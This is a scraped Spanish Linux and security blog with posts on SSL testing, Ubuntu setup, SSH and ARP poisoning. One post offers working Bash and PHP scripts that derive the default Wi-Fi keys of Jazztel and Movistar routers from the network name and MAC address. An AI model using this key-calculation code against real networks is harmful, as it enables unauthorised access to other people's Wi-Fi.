Como averiguar el nivel de seguridad SSL de una página web (HTTPs)

En anteriores artículos os he explicado qué tipos de cifrados asimétricos, simétricos, y de autenticación (hash) podemos encontrarnos.

Os he explicado en muchas ocasiones que conectándonos a través de SSL estamos más seguros en la red que no haciéndolo.

También informé sobre la herramienta de Google para acelerar el SSL, y sobre la implementación de SSL en Youtube, en Facebook y en Twitter.

Ahora os traigo una pequeña página web que analiza la seguridad de la página web (en lo que al SSL se refiere).

Es capaz de decirnos sus puntos fuertes y sus puntos débiles. Al final del escáner nos muestra los resultados y nos da una puntuación.

A continuación tenéis la web y unas capturas de pantalla para que lo veáis. Nos metemos en esta web: Qualys SSL Labs

Metemos la dirección de la página web y pinchamos en el botón Submit, si la página web ya está analizada (de un análisis anterior), nos mostrará los resultados inmediatamente.

En esta pantalla encontramos información sobre el certificado, cuando expira, la llave utilizada (key) y el algoritmo. Como ejemplo he usado mi banco, Google y mi propio blog... a continuación algunos pantallazos.





En la siguiente captura podéis ver los protocolos y cifrados que soportan, soportar más protocolos no es sinónimo de una mayor seguridad, justo al contrario.

Se deberían deshabilitar esos protocolos antiguos, por suerte, Facebook no usa ninguno antiguo (luego veremos que hay otras webs que sí).

Y aquí tenemos en lo que casi todos fallan, la renegociación TLS, donde lo han deshabilitado para esquivar el bug del TLS-renegotiation. Otros simplemente lo tienen activado…con el bug.



Sin embargo, la web de Google, cumple con todo lo establecido, o sea perfecta.

Ahora ya podremos saber de una manera más técnica si una web con SSL es más segura que otra, sobre todo podéis mirar la seguridad de los bancos y plataformas de pago que es donde la seguridad es lo más importante.

Enlaces de interés:

1. Twitter implementa HTTPs por defecto para proteger nuestra seguridad y privacidad


2. Youtube empieza a usar el protocolo HTTPS (SSL) para conexiones cifradas en sus vídeos


3. Facebook permite conexiones HTTPS siempre que nos conectemos


4. Ciberataque a RSA : Roban información de la división de seguridad de EMC


5. Redes Sociales : Seguridad y privacidad

Google crea una herramienta para acelerar el SSL

Cuando utilizamos seguridad en la web (HTTPS), normalmente las páginas web cargan más lentamente ya que el cifrado de datos reduce la velocidad de carga.

Google ha estado probando un nueva herramienta para acelerar el proceso.

La herramienta se llama SSL False Start y ha sido implementado en Chrome 9, las pruebas que han realizado reducen el handshake de SSL en un 30%.

Google se ha preocupado de hacer que este sistema sea también compatible con versiones anteriores para satisfacer la experiencia de usuario.

Hay sitios web que no son compatibles (todavía) con False Start, Google incluirá en Chrome la lista de sitios que no son compatibles.

Sin duda, una buena noticia para aumentar nuestra seguridad en la red, sin sacrificar la velocidad de carga.

Tenéis más información en el Blog De Chrome

Visto en: RedesZone

¡No les votes!

Instalacion de Ruby on Rails en Linux

Ruby es un lenguaje de programación interpretado. Ruby funciona con cualquier sistema operativo moderno, pero se siente más "en casa" en sistemas tipo Unix (como por ejemplo y es nuestro caso de instalación un Linux).

La manera en que instalemos ruby depende mucho de nuestro tipo de máquina y sus necesidades. Es recomendable que lea todo lo relevante a la plataforma que desee instalar antes de que haga una decisión acerca de cómo instalarlo.

http://www.ruby-lang.org/es/

http://www.pablasso.com/2009/01/12/%C2%BFcomo-instalar-ruby-on-rails-en-ubuntu

http://www.noticias-tecnologia.com.ar/tutoriales/instalar-ruby-on-rails-en-windows/

Pasos rápidos y sencillos (Para Linux Ubuntu 10.04, 10.10 y 11.04):

NOTA: DEBE SER UNA INSTALACIÓN LIMPIA, ME REFIERO DESDE CERO...DESINSTALANDO TODO AQUELLO QUE TUVIÉSEMOS EN EL DISCO RELACIONADO CON RUBY, RAILS, GEM O REDCAR....

mike@m7:~$ sudo apt-get install rails

Una vez todo instalado, incluidas las dependencias, tendréis un entorno listo para funcionar...pero si queremos tener las ultimas versiones de todo no tendremos otro remedio que seguir los siguientes pasos para poder tenerlos.

mike@m7:~$ sudo apt-get install build-essential git-core curl

mike@m7:~$ bash < <(curl -s https://rvm.beginrescueend.com/install/rvm)

mike@m7:~$ echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm"' >> ~/.bashrc

En otra consola diferente, cerráis la que esta abierta y volvéis a abrir otra diferente (sino no funcionara)

mike@m7:~$ rvm notes

mike@m7:~$ sudo apt-get install build-essential bison openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev

mike@m7:~$ sudo gem install sqlite3-ruby

mike@m7:~$ rvm install ruby-1.9.2

mike@m7:~$ rvm use ruby-1.9.2 --default

mike@m7:~$ gem update --system

mike@m7:~$ gem install rails

mike@m7:~$ gem install sqlite3

mike@m7:~$ ruby -v

Y debería apareceros lo siguiente:

mike@m7:~$ gem -v

mike@m7:~$ rails -v

mike@m7:~$ gem list

Y por ultimo os recomiendo que descargeis el siguiente entorno para programación que encontré para ello, sobre todo para Ruby, escrito en Python....

Enlace de descarga: http://www.sublimetext.com/2

Lo descargáis en cualquier carpeta, lo descomprimís y os metéis en la carpeta...veréis lo siguiente...



Bien, el ejecutable es “sublime_text”...desde Nautilus (pulsando dos veces sobre el nombre del archivo) o desde la terminal con

mike@m86:~/rails/Sublime Text 2$ ./sublime_text

Y listo … aquí lo tenéis en funcionamiento....

Instalar Firefox 4.0 desde repositorios...

Para instalar Firefox 4.0 desde los repositorios oficiales nada mas fácil que introducir esto desde la consola lo siguiente...

Tanto para 10.04 como 10.10 de Linux en Ubuntu:

sudo add-apt-repository ppa:mozillateam/firefox-stable

sudo apt-get update

sudo apt-get install firefox ubufox

O directamente en una sola línea de la siguiente forma:

sudo add-apt-repository ppa:mozillateam/firefox-stable && sudo apt-get update && sudo apt-get install firefox ubufox

Si tenéis problemas con el idioma, y solo descarga la versión inglesa elegid de los siguientes enlaces dependiendo de la versión que tengais 32 bits / 64 bits.

Además si quereis cambiarle la apariencia en Linux y darle un toque mas azul podeis probar con el siguiente tema GTK+

Enlace de descarga: Tema Bluebird para Firefox 4

Y además podeis tener el tema completo en Ubuntu de la siguiente forma:

sudo add-apt-repository ppa:webupd8team/themes && sudo apt-get update && sudo apt-get install bluebird-gtk-theme

o por separado también asi:

sudo add-apt-repository ppa:webupd8team/themes

sudo apt-get update

sudo apt-get install bluebird-gtk-theme

Manual recopilatorio de trucos y hacks para Ubuntu en PDF

PDF con más de 60 páginas rellenas de interesante información:

Un poco de teoría

• Diagrama de software libre


• Mapa conceptual del software libre


• Comandos básicos para consola


• Sistema de jerarquía de ficheros

Como acelerar Ubuntu...

Todos los que leemos este blog, o eso espero, somos usuarios de Ubuntu, principalmente. Esta distro es muy simple de usar, instalar y configurar. Pero, seamos sinceros, no se caracteriza por su velocidad.

Si bien es veloz y estable, aquí les dejo un par de trucos que he visto en Ubuntips para mejorar su rendimiento.

Mover los directorios temporales a la memoria

Mover el directorio /tmp a la memoria porque es mas veloz que el disco y ademas ayuda a cuidar el disco, en especial si han realizado la instalación de ubuntu en una netbook con SSD.

Deben editar el archivo /etc/fstab y agregar la siguiente linea:

tmpfs /tmp tmpfs defaults,noexec,nosuid 0 0

Guardar los cambios y reiniciar el pc.

Instalar Preload

Preload es una aplicacion que de manera inteligente pre-cargara en la memoria los archivos y aplicaciones que mas uses. A causa de esto, pueden notar que el pc tarda un poco mas en arrancar pero solo es eso, luego notareis como todo va mas rapido.

sudo apt-get install preload

Deshabilitar los servicios que no usemos

En muchos casos se corren todo el tiempo servicios que no se usan y que estan constantemente consumiento memoria y procesador. Ejemplos clasicos son: apache y mysql, para deshabilitar por ejemplo a mysql ejecutad el siguiente comando:

sudo update-rc.d mysql remove

Si quereis saber que se ejecuta al inicio debéis hacer lo que hice yo antes del anterior comando:

ls -l /etc/rc0.d

ls -l /etc/rc1.d

y asi sucesivamente hasta el rc6.d, con lo que veréis que programas o servicios se ejecutan desde el nivel 0 hasta el 6 del kernel de Linux.

Mucho ojo con lo que quitais, consultad en el manual de Ubuntu para que sirve cada servicio que deseais deshabilitar.

Desactivar las aplicaciones con autoarranque

Hay varias aplicaciones que normalmente no se usan y aun asi arrancan cuando arrancamos el pc. Las pueden ver en Sistema -> Preferencias -> Aplicaciones al inicio.

Cambiar el modo de usar la Swap

Al igual que como decia con respecto a /tmp si es posible no usar el disco y usar la memoria en su lugar entonces deberíamos hacerlo, porque los accesos al disco son lentos.

Si tienen 2, 3 o 4Gb de Ram probablemente no necesiten casi nada de Swap. No vayan a cometer ese error que dice “Swap debe ser el doble de la ram”, por lo general la regla no se cumple.

Entra a /etc/sysctl.conf y cambien la siguiente linea (agregar si no existe):

vm.swappiness=10

El valor asignado le dirá a su sistema cual es la probabilidad de que use Swap, es un valor entre 0 y 100. Si tienen menos de 1Gb de ram deberian cambiar ese valor a 40 o 50 para que use mas la swap.

Después de modificar el archivo deben ejecutar

sudo sysctl -p o reiniciar el sistema

para que los cambios surtan efecto correctamente.

Para aplicar todos los cambios, debemos reiniciar el sistema.

Espero que les sea de utilidad. Los invito a comentar su experiencia. Y si encuentran algún truco más que me lo comenten. Un saludo.

Instala tema de escritorio Minty Freshness y otros...

Estos temas GTK e iconos son sólo para 10.04, 10.10 y 11.04....

Lo primero es que debes tener el PPA de Webupd8 instalado de la siguiente manera:

sudo add-apt-repository ppa:webupd8team/themes && sudo apt-get update

Lo siguiente es instalar el tema en si de la siguiente forma:

sudo apt-get install minty-freshness-theme

Si además queréis tener los iconos Buuf haced lo siguiente:

sudo apt-get install buuf-icon-theme

O el tema GTK Victory debéis haced lo siguiente:

sudo apt-get install victory-gtk-theme

Visto en: Webupd8

Tema de iconos Faenza 0.9 actualizado

El famoso "Faenza Icon Theme" ha sido actualizado a la versión 0.9 hoy, con lo que tenemos un nuevo y "más oscuro" tema con iconos de estado y de acciones en tonos gris claro.

Aquí está la lista de cambios del tema "Faenza Icon Theme 0.9":

• Un nuevo y "más oscuro" tema, en la barra de estado y las acciones, los iconos son de color gris claro.


• Un grupo y amplio cambio de dispositivos viejos, nuevos y las acciones en todos los tamaños.


• Nuevas aplicaciones: centro de software de Debian, dup-vu, CC + +, dvdrip, GCstar,guake, haguichi, Me TV, se funden, gestor de archivos, la herramienta de configuración de nautilus acciones, tvtime, xine, zim, etc.


• Nuevos iconos de estado de la cubierta Gloobus, Me TV, zim, guake, KeePassX.


• Resalte de los bordes se han modificado para todos los iconos, resultando un cuadrado de 22x22 y 24x24.


• Todos los iconos monocromos se han modificado para suavizar el contraste.


• Un nuevo diseño para la mayoría de las acciones de 32x32 y por encima de este.


• Algunos iconos reelaborados para aplicaciones nuevas.


• Cambios sutiles en el color de las carpetas.


• Nuevo icono de Chrome.


• Algunas revisiones de estabilidad.

Intalando en 9.10, 10.04 y 10.10:

Desde consola de comando teclea lo siguiente:

sudo add-apt-repository ppa:tiheum/equinox sudo apt-get update sudo apt-get install faenza-icon-theme

o en una sola linea:

sudo add-apt-repository ppa:tiheum/equinox && sudo apt-get update && sudo apt-get install faenza-icon-theme

También puedes descargarlo desde DevianArt

Visto en:  Wepupd8

Actualiza el kernel de Ubuntu 10.04 LTS...

Se han descubierto cerca de 40 vulnerabilidades en el kernel de Linux Ubuntu 10.04 (Lucid Lynx), versión LTS (Long Time Support) de esta distribución de GNU/Linux. Kubuntu, Edubuntu y Xubuntu con la misma numeración, están afectadas también.

Algunos de estos problemas están relacionados en la forma en que el “Common Internet File System” (CIFS) valida los paquetes ICPM (Internet Control Message Protocol), haciendo posible un ataque de denegación de servicio (DOS).

También se ha descubierto un agujero de seguridad en NFSv4 (Network File System v4) que permitirían a un atacante obtener privilegios administrativos. En total se han detectado nueve vulnerabilidades que otorgan privilegios de root y 14 que conducen a la denegación de servicio.

Otros están relacionados con la comprobación incorrecta de privilegios de archivo y la restricción de “solo-lectura” que, en un entorno multi-usuario puede afectar, entre otras cuestiones, a la privacidad. En el enlace a pie de artículo tienes la lista completa de vulnerabilidades publicada por Ubuntu.

Como viene siendo habitual en el mundo GNU/Linux, estos problemas se detectan y corrigen rápidamente. Ya existen parches para solventar estas vulnerabilidades y simplemente hay que actualizar.

Visto en : Genbeta

Para los españoles...

Visto en Ubuntu Life

Linux: poner las páginas de Man en castellano

Las páginas de Man son indispensables cuando tenemos alguna duda acerca de la utilización de un comando o de sus parámetros.

Para quien no las haya usado basta con ejecutar desde consola:

$ man comando_del_que_obtener_información

Ejemplo:

$ man ls

Pero claro la información aparece en ingles. Si te interesa verla en castellano, Víctor Jose (Gracias) le envió un tip a Ubuntu Life de como lograrlo y que vio en Ubuntu-es.

Los pasos serian los siguientes:

(Primero lo de siempre)

$ sudo apt-get update

$ sudo apt-get upgrade

Y ahora sí:

$ sudo apt-get install manpages-es manpages-es-extra

$ sudo dpkg-reconfigure locales

Otra forma es ponerlo todo en un solo comando:

$ sudo apt-get update && sudo apt-get install manpages-es manpages-es-extra && sudo dpkg-reconfigure locales

Y listo, las páginas man deberían estar en español...o por lo menos casi todas.

[gallery link="file" orderby="title"]

Creando un firewall en Linux (Planificando y configurando - I Parte)

En este primer vídeo dividido en 2 os dejo una segunda parte de la configuracion, siguiendo un esquema de las maquinas virtuales necesarias para hacer un firewall. Una de ellas hace de firewall (un linux) y otras dos serán dos subredes (una linux y un XP)...CONTINUARA

Esto no lo verás en la Televisión: "Pitada a Sinde"

Visto en Meneame y UbuntuLife

Routers WIFI al descubierto

Los usuarios de jazztel y movistar que no hayan cambiado el nombre (ESSID) de sus wifis pueden ir pensando en hacerlo: El algoritmo ha sido descifrado. Por lo visto, el que sacó a la luz el algoritmo fue elvecinoo en este hilo de lampiweb En http://kz.ath.cx/wlan/ (entre otros mas que alojan los algoritmos) se ingresa nombre y la MAC del router y te la clava.

Algunos ejemplos:

En BASH:

#!/bin/bash                                                                     

echo CalcWLAN by a.s.r                                                          

if [ $# -ne 2 ]
then
        echo "Usage: $0 <ESSID> <BSSID>"
        echo
        echo "Example: $0 WLAN_C58D 64:68:0C:C5:C5:90"
        exit 1
fi                                                                              

HEAD=$(echo -n "$1" | tr 'a-z' 'A-Z' | cut -d_ -f2)
BSSID=$(echo -n "$2" | tr 'a-z' 'A-Z' | tr -d)
BSSIDP=$(echo -n "$BSSID" | cut -c-8)
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)                  

echo "La puta clave es $KEY"

En PHP:

// THIS CODE IS UNDER THE PUBLIC DOMAIN

function right($string, $chars)
{
	return substr($string, strlen($string) - $chars, $chars);
}

if (isset($_POST['essid']) && isset($_POST['bssid']))
{
	$bssid = preg_replace('/:/', '', strtoupper(trim($_POST['bssid'])));

	if (strlen($bssid) != 12)
	{
		die('Mete bien la MAC, buen hombre.');
	}

	$essid = strtoupper(trim($_POST['essid']));
	$_ssid = substr($bssid, 0, 8).right($essid, 4);

	die(substr(md5('bcgbghgg'.$_ssid.$bssid), 0, 20));
}

Daos prisa antes de que cierren las webs donde se alojan los fuentes.

Protocolo SSH (5 prácticas sencillas)

En estos tutoriales que aquí comienzo, os dejo la primera practica, en la que creo una conexión sencilla a través del protocolo SSH....



En estos segundo tutorial que aquí os dejo, en la que creo una conexión sencilla a través del protocolo SSH pero usando un par de claves públicas/privadas...



En este tercer tutorial que aquí os dejo, en la que creo una conexión sencilla a través del protocolo SSH pero usando el servidor X incluido en Linux...



En este cuarto tutorial que aquí os dejo, en la que creo una conexión sencilla a través del protocolo SSH pero usando el servidor Telnet, que es del todo menos seguro y su uso en Wireshark creando un túnel con SSH para volverlo seguro...



En este ultimo y quinto tutorial que aquí os dejo, en la que creo una conexión sencilla a través del protocolo SSH pero usando a un tercero que nos dará acceso a internet, el cual nosotros no poseemos directamente...

Espero que os hayan sido de ayuda...un saludo

OpenSSH (Introducción)

SSH (Secure SHell, en español: intérprete de órdenes segura) es el nombre de un protocolo y del programa que lo implementa, y sirve para acceder a máquinas remotas a través de una red. Permite manejar por completo la computadora mediante un intérprete de comandos, y también puede redirigir el tráfico de X para poder ejecutar programas gráficos si tenemos un Servidor X (en sistemas Unixy Windows) corriendo.

Además de la conexión a otros dispositivos, SSH nos permite copiar datos de forma segura (tanto ficheros sueltos como simular sesiones FTP cifradas), gestionar claves RSA para no escribir claves al conectar a los dispositivos y pasar los datos de cualquier otra aplicación por un canal seguro tunelizado mediante SSH.

OpenSSH (Open Secure Shell) es un conjunto de aplicaciones que permiten realizar comunicaciones cifradas a través de una red, usando el protocolo SSH. Fue creado como una alternativa libre y abierta al programa Secure Shell, que es software propietario. El proyecto está liderado por Theo de Raadt, residente en Calgary.

La suite OpenSSH incluye:

• ssh, reemplaza a rlogin y telnet para permitir shell el acceso remoto a otra máquina. ssh tero@ejemplo.com


• scp, reemplaza a rcp scp tero@ejemplo.com:~/archivo .


• sftp, reemplaza a ftp para copiar archivos entre dos computadoras sftp tero@ejemplo.com


• sshd, el servidor demonio SSH sshd


• ssh-keygen, una herramienta para inspeccionar y generar claves RSA y DSA que son usadas para la autenticación del cliente o usuario.


• ssh-agent y ssh-add, herramientas para autenticarse de manera mas fácil, manteniendo las claves listas para no tener que volver a introducir la frase de acceso cada vez que utilice la clave.


• ssh-keyscan, que escanea una lista de clientes y recolecta sus claves públicas.

El servidor OpenSSH puede autenticar a los usuarios mediante todos los métodos estándar del protocolo ssh

Libros de recomendada lectura...

Estos libros que dejo para descarga espero me sean muy útiles en el curso de Seguridad que estoy recibiendo y de paso os los dejo a vosotros para su lectura recomendada...

1. Seguridad física...algo tan importante en una empresa como lo sería la seguridad informática del software.


2. Documentación sobre iptables-firewall de Linux. Importante a la hora de protegeros en cualquier sistema Linux hoy en dia.


3. Guía de Seguridad del Administrador de Linux, traducido y muy recomendable para cualquier administrador de sistemas y seguridad en Linux.


4. Introducción al SSH versión 0.2, tema muy importante, sobre todo en seguridad.


5. Análisis de seguridad de la familia de protocolos TCP/IP y sus servicios asociados, algo sobre Hacking, pero sobre todo como protegernos de ese protocolo y su familia.

Un saludo. Mike Mars.

 

 

Los 10 mandamientos...

Los Mandamientos de Linux

Y habla Dios todo esto, diciendo:
"Yo soy Linux, tu Dios, que te he sacado de la tierra de Microsoft, de la casa de la servidumbre"

• No tendrás otro Dios que a mí, pero te dejo coquetear con cualquier sistema que funcione.


• No instalarás sistemas operativos monopolistas, ni te prosternarás ante ellos, y no los servirás, porque soy un Dios celoso...


• No utilizaras software propietario.


• Navegarás por páginas que soporten Lynx


• No tomarás el nombre de Linux en vano


• Santificarás los demonios y las fiestas jugando al Cibermús.


• Honrarás a los profetas de Linux, a aquellos que contribuyen.


• Cerrarás tu puerto de finger. No saldrás a la red como root.


• No adorarás ídolos en forma de tarjetas multipuerto a 9600 baudios.


• El primer juego que ejecutes será el Xbill, y Sí Matarás.


• Sí adulterarás, y te harás compatible con cuantos sistemas se dejen.


• Realizarás ingeniería inversa.


• No levantarás falso testimonio contra el kernel. No tiene bugs.

Estos mandamientos se resumen en dos:

Amarás a Linux sobre todas las cosas y al OpenSource como a tí mismo.

Origen: desconocido. Autor: desconocido. Obtenido de Fidonet (R34.LINUX)

Envenenamiento ARP (Conclusión - VI)

Conclusión

Hemos visto cómo un ataque tan peligroso puede ser llevado a cabo con significativa facilidad haciendo uso de una herramienta que está a disposición de todo el mundo.Si cualquier aficionado es capaz de logar escuchas protegidas y privadas, ¿qué no podrá hacer un experto en redes?. Muchos son los administradores de redes que adjudican tiempo y dinero a soluciones a nivel de red como pueden ser firewalls, firewalls­bridge, sistemas de detección y prevención de intrusiones (IDS, IPS respectivamente), etc... pero que son inútiles en este tipo de ataques, en donde el nivel más básico y bajo el cual se sustentan todos los demás niveles queda desprotegido ante cualquier aficionado. Así que no deje descuidada la red si desea mantener la privacidad de sus datos. En caso de pertenecer a una red en donde usted contemple que la seguridad queda en entredicho, no dude consultar al administrador y hacerle saber el problema. Por lo demás, tomemos siempre precauciones, es mejor ser desconfiado.

Mike Mars

Bibliografía

www.google.com

http://es.wikipedia.org

www.monografias.com

http://www.rfc­editor.org/rfc/rfc826.txt

http://bulma.net/body.phtml?nIdNoticia=1193

www.secudos.de

http://ettercap.sourceforge.net

http://ditec.um.es/laso/docs/tut­tcpip/3376c28.html#figethfram

www.robota.net

www.irongeek.com

http://www.maestrosdelweb.com/editorial/sniffers/

http://www.xombra.com/go_articulo.php?articulo=47

Tutorial V

Tutorial IV

Tutorial III

Tutorial II

Tutorial I